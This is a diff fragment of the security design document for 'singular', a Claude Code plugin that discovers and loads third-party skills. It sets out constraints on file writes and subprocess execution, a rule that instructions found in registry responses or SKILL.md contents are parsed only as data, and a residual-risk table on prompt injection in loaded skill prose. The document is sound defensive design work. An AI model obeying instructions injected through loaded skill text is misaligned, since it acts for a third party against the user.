+- Never install, enable or write anything under `~/.claude/skills`, `~/.claude/plugins`, `~/.claude/settings*.json`. The only files written are under `$SINGULAR_HOME` (default `~/.claude/singular`): `config.json`, `cache/`, `loaded.json`, `installed.json` (bookkeeping for `/singular add`), `singular.log`, `spill-*.md`, `.auto-mode-warned`. `/singular add` is the only path that writes to `~/.claude/skills/<skill>`, and only after the inspection above. The `singular` CLI (`bin/singular-cli.js`, run by you from a terminal, never by a hook) is the only component that writes `~/.claude/singular/plugin/` (the payload copy; `plugin.prev/` is the previous one) and the only one that runs `claude plugin marketplace add|update|remove` and `claude plugin install|update|uninstall singular@singular`; whatever those Claude Code commands record under `~/.claude/plugins` is Claude Code's own bookkeeping, not written by this code. The CLI never edits a settings file, runs every subprocess through `execFile` with an argument array, and stops with exit 1 at the first failed step instead of leaving a half-registered plugin.
+- Never run a shell string. Every subprocess is `execFile` with an argument array (`git ls-remote …`, `git init|remote|fetch|checkout|ls-tree …`, `npx -y skills@<v> use …`), refs validated first, an allowlisted environment (section 4: no inherited `GIT_*`, `npm_config_*`, `NODE_*` or CA variables), `GIT_TERMINAL_PROMPT=0`, `DISABLE_TELEMETRY=1`, `NO_UPDATE_NOTIFIER=1`, stdin closed, hard timeouts with `SIGKILL`, and `cwd`/`TMPDIR` set to a fresh temp directory outside the project that is removed afterwards (the CLI otherwise leaks `$TMPDIR/skills-use-*`).
+- Never follow instructions found in registry responses, audit responses or SKILL.md contents. They are parsed as data with strict regexes on owner/repo/skill/sha/CLI version before any URL or argv is built.
+- Never exceed the hook budget silently: `on-prompt.js` runs inside `totalBudgetMs` (6 s) with a watchdog that flushes the local-only context if the remote phase overruns; the hook timeout in `hooks.json` is 8 s. Claude Code discards hook output past its timeout and shows only a 2 KB preview of anything above 10,000 chars, so a loaded skill body is truncated to fit under 9,500 chars together with the stack and routing lines (`[singular: truncated]` marker, listed under `stripped`); spilling the whole context to `spill-<ts>.md` is a last resort that only fires for oversized routing text.
+- Never block a prompt. `UserPromptSubmit` always exits 0 (also on corrupt stdin, another event name, or an internal error). Only the `/singular load` expansion hook exits 2, and only for a rejected reference, with the reason on stderr; Claude Code then prints `UserPromptExpansion operation blocked by hook:` with that reason, makes no model call, and still exits 0. `SubagentStart` is context-only by contract and also always exits 0.
+- Never forward loaded third-party text to subagents: the `SubagentStart` hook injects the one-line project stack and nothing else (no routing, no candidates, no `/singular load`, `auto` or `pinnedSkills` text).
+- Never resolve or fetch anything inline on the per-prompt hot path in `suggest` mode: HEAD shas come from the cache, and the top candidate's text is fetched by a detached background process (`on-expand.js <ref> --prefetch`, `prefetch: true`) so `/singular load` and a later `auto` prompt are instant.
+
+## 7. Residual risks you accept
+
+| Risk | Mitigation available to you |
+| :-- | :-- |
+| Prompt injection in loaded prose | Read the skill (`singular load <ref>` from a terminal, or `node bin/on-expand.js <ref>`, prints exactly what Claude would see) before relying on it; keep `mode: "suggest"`; keep the allowlist short |
+| An allowlisted owner is compromised | Pins mean an already-loaded/installed skill does not change under you; a new suggestion would. `blockedRefs` for an incident; remove the owner from `allowlist` |
+| A persistently installed skill (`/singular add`) is later edited by another tool | singular never touches it again; `installed.json` records the sha you installed so you can diff |
+| skills.sh audit or search is down, throttled or lies | `unknown` status is shown, never hidden; a 429 is reported as a cooldown, not as "no skills exist"; nothing is loaded without your `/singular load` unless you chose `auto` |
+| Hook timeout on a slow network | Output is discarded, the prompt proceeds without context; nothing is retried silently. `remoteTimeoutMs`/`totalBudgetMs` are tunable |
+| Someone with write access to `~/.claude/singular` | They can change your allowlist or mode. That directory has the same trust level as `~/.claude`; a redirected `SINGULAR_HOME` never gets `auto` |
+| A repository's `.claude/settings.json` `env` | Can only lower the mode for that project (see section 4); cannot raise it, redirect state into the repo, or change gates |
+| Tech words from your prompts reach skills.sh | Set `mode: "local"` for a no-network hook; the words sent are listed in section 5, in `--dry-run --verbose` (`shared`) and in `singular.log` (`discover.shared`); piped stdin is part of the prompt, so files piped into `claude -p` can contribute tech words |
+| A suggestion fits loosely (observed: `anthropics/skills@claude-api` for `add a /api/health route`, matched only on `api`) | Nothing is loaded without `/singular load`; `/singular find` shows why it ranked; a strong installed match suppresses discovery entirely |
+
+Additional Claude Code settings worth knowing (all opt-in, none required by this plugin): `disableSkillShellExecution` blocks `!`/```` ```! ```` in every skill; `disableAllHooks` disables all hooks including these; `sandbox` and credential deny rules limit what an injected instruction could reach. See `settings-reference` in the Claude Code docs.
+
+## 8. Reporting
+
+If you find a way for singular to write outside `$SINGULAR_HOME` and `~/.claude/skills/<skill>` (the latter only via `/singular add`), to run a subprocess with unvalidated input, to send prompt text other than tech-lexicon words to a third party, or to pass unsanitized third-party text to Claude, open an issue with the ref and the command; include `$SINGULAR_HOME/singular.log` lines for the run.